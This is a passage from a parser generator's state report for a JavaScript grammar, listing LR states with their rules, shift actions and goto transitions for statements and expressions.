to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - -state 3 - - 3) SourceElementList : SourceElement _ - - $default reduce using rule 3 (SourceElementList) - - -state 4 - - 5) SourceElement : FunctionDeclaration _ - - $default reduce using rule 5 (SourceElement) - - -state 5 - - 6) SourceElement : Statement _ - - $default reduce using rule 6 (SourceElement) - - -state 6 - - 7) Statement : Block _ - - $default reduce using rule 7 (Statement) - - -state 7 - - 8) Statement : VariableStatement _ - - $default reduce using rule 8 (Statement) - - -state 8 - - 9) Statement : ConstStatement _ - - $default reduce using rule 9 (Statement) - - -state 9 - - 10) Statement : EmptyStatement _ - - $default reduce using rule 10 (Statement) - - -state 10 - - 11) Statement : ExprStatement _ - - $default reduce using rule 11 (Statement) - - -state 11 - - 12) Statement : IfStatement _ - - $default reduce using rule 12 (Statement) - - -state 12 - - 13) Statement : IterationStatement _ - - $default reduce using rule 13 (Statement) - - -state 13 - - 14) Statement : ContinueStatement _ - - $default reduce using rule 14 (Statement) - - -state 14 - - 15) Statement : BreakStatement _ - - $default reduce using rule 15 (Statement) - - -state 15 - - 16) Statement : ReturnStatement _ - - $default reduce using rule 16 (Statement) - - -state 16 - - 17) Statement : WithStatement _ - - $default reduce using rule 17 (Statement) - - -state 17 - - 18) Statement : SwitchStatement _ - - $default reduce using rule 18 (Statement) - - -state 18 - - 19) Statement : LabelledStatement _ - - $default reduce using rule 19 (Statement) - - -state 19 - - 20) Statement : ThrowStatement _ - - $default reduce using rule 20 (Statement) - - -state 20 - - 21) Statement : TryStatement _ - - $default reduce using rule 21 (Statement) - - -state 21 - - 22) Statement : DebuggerStatement _ - - $default reduce using rule 22 (Statement) - - -state 22 - - 23) Literal : NULL _ - - $default reduce using rule 23 (Literal) - - -state 23 - - 24) Literal : TRUE _ - - $default reduce using rule 24 (Literal) - - -state 24 - - 25) Literal : FALSE _ - - $default reduce using rule 25 (Literal) - - -state 25 - - 26) Literal : NUMBER _ - - $default reduce using rule 26 (Literal) - - -state 26 - - 27) Literal : STRING _ - - $default reduce using rule 27 (Literal) - - -state 27 - - 28) Literal : REGEXP _ - - $default reduce using rule 28 (Literal) - - -state 28 - - 40) PrimaryExprNoBrace : THIS _ - - $default reduce using rule 40 (PrimaryExprNoBrace) - - -state 29 - - 41) PrimaryExprNoBrace : Literal _ - - $default reduce using rule 41 (PrimaryExprNoBrace) - - -state 30 - - 42) PrimaryExprNoBrace : ArrayLiteral _ - - $default reduce using rule 42 (PrimaryExprNoBrace) - - -state 31 - - 43) PrimaryExprNoBrace : IDENT _ - 277) LabelledStatement : IDENT _ ":" Statement - - ":" shift, and go to state 84 - $default reduce using rule 43 (PrimaryExprNoBrace) - - -state 32 - - 44) PrimaryExprNoBrace : "(" _ Expr ")" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - Expr go to state 88 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - -state 33 - - 45) ArrayLiteral : "[" _ ElisionOpt "]" - 46) ArrayLiteral : "[" _ ElementList "]" - 47) ArrayLiteral : "[" _ ElementList "," ElisionOpt "]" - - "," shift, and go to state 115 - $default reduce using rule 50 (ElisionOpt) - - ElisionOpt go to state 112 - ElementList go to state 113 - Elision go to state 114 - -state 34 - - 59) MemberExprNoBF : PrimaryExprNoBrace _ - - $default reduce using rule 59 (MemberExprNoBF) - - -state 35 - - 60) MemberExprNoBF : MemberExprNoBF _ "[" Expr "]" - 61) MemberExprNoBF : MemberExprNoBF _ "." IDENT - 65) NewExprNoBF : MemberExprNoBF _ - 71) CallExprNoBF : MemberExprNoBF _ Arguments - - "(" shift, and go to state 119 - "[" shift, and go to state 116 - "." shift, and go to state 117 - $default reduce using rule 65 (NewExprNoBF) - - Arguments go to state 118 - -state 36 - - 62) MemberExprNoBF : NEW _ MemberExpr Arguments - 66) NewExprNoBF : NEW _ NewExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 120 - NewExpr go to state 121 - -state 37 - - 72) CallExprNoBF : CallExprNoBF _ Arguments - 73) CallExprNoBF : CallExprNoBF _ "[" Expr "]" - 74) CallExprNoBF : CallExprNoBF _ "." IDENT - 82) LeftHandSideExprNoBF : CallExprNoBF _ - - "(" shift, and go to state 119 - "[" shift, and go to state 123 - "." shift, and go to state 124 - $default reduce using rule 82 (LeftHandSideExprNoBF) - - Arguments go to state 122 - -state 38 - - 81) LeftHandSideExprNoBF : NewExprNoBF _ - - $default reduce using rule 81 (LeftHandSideExprNoBF) - - -state 39 - - 86) PostfixExprNoBF : LeftHandSideExprNoBF _ - 87) PostfixExprNoBF : LeftHandSideExprNoBF _ PLUSPLUS - 88) PostfixExprNoBF : LeftHandSideExprNoBF _ MINUSMINUS - 200) AssignmentExprNoBF : LeftHandSideExprNoBF _ AssignmentOperator AssignmentExpr - - PLUSPLUS shift, and go to state 125 - MINUSMINUS shift, and go to state 126 - PLUSEQUAL shift, and go to state 129 - MINUSEQUAL shift, and go to state 130 - MULTEQUAL shift, and go to state 131 - DIVEQUAL shift, and go to state 132 - LSHIFTEQUAL shift, and go to state 133 - RSHIFTEQUAL shift, and go to state 134 - URSHIFTEQUAL shift, and go to state 135 - ANDEQUAL shift, and go to state 136 - MODEQUAL shift, and go to state 139 - XOREQUAL shift, and go to state 137 - OREQUAL shift, and go to state 138 - "=" shift, and go to state 128 - $default reduce using rule 86 (PostfixExprNoBF) - - AssignmentOperator go to state 127 - -state 40 - - 89) UnaryExprCommon : DELETE _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 141 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 41 - - 90) UnaryExprCommon : VOID _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 142 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 42 - - 91) UnaryExprCommon : TYPEOF _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 143 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 43 - - 92) UnaryExprCommon : PLUSPLUS _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 144 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 44 - - 93) UnaryExprCommon : MINUSMINUS _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 145 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 45 - - 94) UnaryExprCommon : "+" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 146 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 46 - - 95) UnaryExprCommon : "-" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 147 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 47 - - 96) UnaryExprCommon : "~" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 148 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 48 - - 97) UnaryExprCommon : "!" _ UnaryExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - UnaryExpr go to state 149 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - -state 49 - - 100) UnaryExprNoBF : PostfixExprNoBF _ - - $default reduce using rule 100 (UnaryExprNoBF) - - -state 50 - - 101) UnaryExprNoBF : UnaryExprCommon _ - - $default reduce using rule 101 (UnaryExprNoBF) - - -state 51 - - 106) MultiplicativeExprNoBF : UnaryExprNoBF _ - - $default reduce using rule 106 (MultiplicativeExprNoBF) - - -state 52 - - 107) MultiplicativeExprNoBF : MultiplicativeExprNoBF _ "*" UnaryExpr - 108) MultiplicativeExprNoBF : MultiplicativeExprNoBF _ "/" UnaryExpr - 109) MultiplicativeExprNoBF : MultiplicativeExprNoBF _ "%" UnaryExpr - 113) AdditiveExprNoBF : MultiplicativeExprNoBF _ - - "*" shift, and go to state 150 - "/" shift, and go to state 151 - "%" shift, and go to state 152 - $default reduce using rule 113 (AdditiveExprNoBF) - - -state 53 - - 114) AdditiveExprNoBF : AdditiveExprNoBF _ "+" MultiplicativeExpr - 115) AdditiveExprNoBF : AdditiveExprNoBF _ "-" MultiplicativeExpr - 120) ShiftExprNoBF : AdditiveExprNoBF _ - - "+" shift, and go to state 153 - "-" shift, and go to state 154 - $default reduce using rule 120 (ShiftExprNoBF) - - -state 54 - - 121) ShiftExprNoBF : ShiftExprNoBF _ LSHIFT AdditiveExpr - 122) ShiftExprNoBF : ShiftExprNoBF _ RSHIFT AdditiveExpr - 123) ShiftExprNoBF : ShiftExprNoBF _ URSHIFT AdditiveExpr - 137) RelationalExprNoBF : ShiftExprNoBF _ - - LSHIFT shift, and go to state 155 - RSHIFT shift, and go to state 156 - URSHIFT shift, and go to state 157 - $default reduce using rule 137 (RelationalExprNoBF) - - -state 55 - - 138) RelationalExprNoBF : RelationalExprNoBF _ "<" ShiftExpr - 139) RelationalExprNoBF : RelationalExprNoBF _ ">" ShiftExpr - 140) RelationalExprNoBF : RelationalExprNoBF _ LE ShiftExpr - 141) RelationalExprNoBF : RelationalExprNoBF _ GE ShiftExpr - 142) RelationalExprNoBF : RelationalExprNoBF _ INSTANCEOF ShiftExpr - 143) RelationalExprNoBF : RelationalExprNoBF _ IN ShiftExpr - 154) EqualityExprNoBF : RelationalExprNoBF _ - - IN shift, and go to state 163 - INSTANCEOF shift, and go to state 162 - LE shift, and go to state 160 - GE shift, and go to state 161 - "<" shift, and go to state 158 - ">" shift, and go to state 159 - $default reduce using rule 154 (EqualityExprNoBF) - - -state 56 - - 155) EqualityExprNoBF : EqualityExprNoBF _ EQEQ RelationalExpr - 156) EqualityExprNoBF : EqualityExprNoBF _ NE RelationalExpr - 157) EqualityExprNoBF : EqualityExprNoBF _ STREQ RelationalExpr - 158) EqualityExprNoBF : EqualityExprNoBF _ STRNEQ RelationalExpr - 163) BitwiseANDExprNoBF : EqualityExprNoBF _ - - EQEQ shift, and go to state 164 - NE shift, and go to state 165 - STREQ shift, and go to state 166 - STRNEQ shift, and go to state 167 - $default reduce using rule 163 (BitwiseANDExprNoBF) - - -state 57 - - 164) BitwiseANDExprNoBF : BitwiseANDExprNoBF _ "&" EqualityExpr - 169) BitwiseXORExprNoBF : BitwiseANDExprNoBF _ - - "&" shift, and go to state 168 - $default reduce using rule 169 (BitwiseXORExprNoBF) - - -state 58 - - 170) BitwiseXORExprNoBF : BitwiseXORExprNoBF _ "^" BitwiseANDExpr - 175) BitwiseORExprNoBF : BitwiseXORExprNoBF _ - - "^" shift, and go to state 169 - $default reduce using rule 175 (BitwiseORExprNoBF) - - -state 59 - - 176) BitwiseORExprNoBF : BitwiseORExprNoBF _ "|" BitwiseXORExpr - 181) LogicalANDExprNoBF : BitwiseORExprNoBF _ - - "|" shift, and go to state 170 - $default reduce using rule 181 (LogicalANDExprNoBF) - - -state 60 - - 182) LogicalANDExprNoBF : LogicalANDExprNoBF _ AND BitwiseORExpr - 187) LogicalORExprNoBF : LogicalANDExprNoBF _ - - AND shift, and go to state 171 - $default reduce using rule 187 (LogicalORExprNoBF) - - -state 61 - - 188) LogicalORExprNoBF : LogicalORExprNoBF _ OR LogicalANDExpr - 193) ConditionalExprNoBF : LogicalORExprNoBF _ - 194) ConditionalExprNoBF : LogicalORExprNoBF _ "?" AssignmentExpr ":" AssignmentExpr - - OR shift, and go to state 172 - "?" shift, and go to state 173 - $default reduce using rule 193 (ConditionalExprNoBF) - - -state 62 - - 199) AssignmentExprNoBF : ConditionalExprNoBF _ - - $default reduce using rule 199 (AssignmentExprNoBF) - - -state 63 - - 217) ExprNoBF : AssignmentExprNoBF _ - - $default reduce using rule 217 (ExprNoBF) - - -state 64 - - 218) ExprNoBF : ExprNoBF _ "," AssignmentExpr - 239) ExprStatement : ExprNoBF _ ";" - 240) ExprStatement : ExprNoBF _ error - - error shift, and go to state 176 - "," shift, and go to state 174 - ";" shift, and go to state 175 - - -state 65 - - 219) Block : "{" _ SourceElements "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - SourceElements go to state 177 - -state 66 - - 220) VariableStatement : VAR _ VariableDeclarationList ";" - 221) VariableStatement : VAR _ VariableDeclarationList error - - IDENT shift, and go to state 180 - - VariableDeclarationList go to state 178 - VariableDeclaration go to state 179 - -state 67 - - 230) ConstStatement : CONST _ ConstDeclarationList ";" - 231) ConstStatement : CONST _ ConstDeclarationList error - - IDENT shift, and go to state 183 - - ConstDeclarationList go to state 181 - ConstDeclaration go to state 182 - -state 68 - - 238) EmptyStatement : ";" _ - - $default reduce using rule 238 (EmptyStatement) - - -state 69 - - 241) IfStatement : IF _ "(" Expr ")" Statement - 242) IfStatement : IF _ "(" Expr ")" Statement ELSE Statement - - "(" shift, and go to state 184 - - -state 70 - - 243) IterationStatement : DO _ Statement WHILE "(" Expr ")" ";" - 244) IterationStatement : DO _ Statement WHILE "(" Expr ")" error - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 185 - -state 71 - - 245) IterationStatement : WHILE _ "(" Expr ")" Statement - - "(" shift, and go to state 186 - - -state 72 - - 246) IterationStatement : FOR _ "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement - 247) IterationStatement : FOR _ "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement - 248) IterationStatement : FOR _ "(" LeftHandSideExpr IN Expr ")" Statement - 249) IterationStatement : FOR _ "(" VAR IDENT IN Expr ")" Statement - 250) IterationStatement : FOR _ "(" VAR IDENT InitializerNoIn IN Expr ")" Statement - - "(" shift, and go to state 187 - - -state 73 - - 255) ContinueStatement : CONTINUE _ ";" - 256) ContinueStatement : CONTINUE _ error - 257) ContinueStatement : CONTINUE _ IDENT ";" - 258) ContinueStatement : CONTINUE _ IDENT error - - error shift, and go to state 189 - IDENT shift, and go to state 190 - ";" shift, and go to state 188 - - -state 74 - - 259) BreakStatement : BREAK _ ";" - 260) BreakStatement : BREAK _ error - 261) BreakStatement : BREAK _ IDENT ";" - 262) BreakStatement : BREAK _ IDENT error - - error shift, and go to state 192 - IDENT shift, and go to state 193 - ";" shift, and go to state 191 - - -state 75 - - 263) ReturnStatement : RETURN _ ";" - 264) ReturnStatement : RETURN _ error - 265) ReturnStatement : RETURN _ Expr ";" - 266) ReturnStatement : RETURN _ Expr error - - error shift, and go to state 196 - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and 